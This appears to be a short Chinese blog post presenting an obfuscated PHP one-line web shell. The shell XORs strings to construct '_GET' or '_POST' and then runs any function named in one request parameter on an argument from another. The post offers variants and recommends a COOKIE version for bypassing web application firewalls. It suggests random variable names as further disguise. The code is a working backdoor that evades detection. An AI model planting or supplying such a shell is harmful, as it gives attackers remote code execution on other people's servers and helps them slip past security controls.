有趣的PHP一句话
今天看到如下图所示的PHP一句话,觉得挺有意思。
代码如下:
<?=~$_='$<>/'^'{{{{';echo $_;@${$_}[_](@${$_}[__]);?>
效果图:
看下图注释应该就可以一目了然了,就是根据异或运算得到$_=’_GET’。
如果想换成POST方法,则可变化如下。
<?=~$_='$+4(/'^'{{{{{';@${$_}[_](@${$_}[__]);?>
效果图:
换成COOKIE方法,则可变化如下,用于bypass waf更有用吧。这只是一种思路,这个句子还可以有很多种变形,比如随机变量名。
引用:
https://www.php.net/manual/zh/language.operators.bitwise.php
http://asciima.com/
转载请注明出处。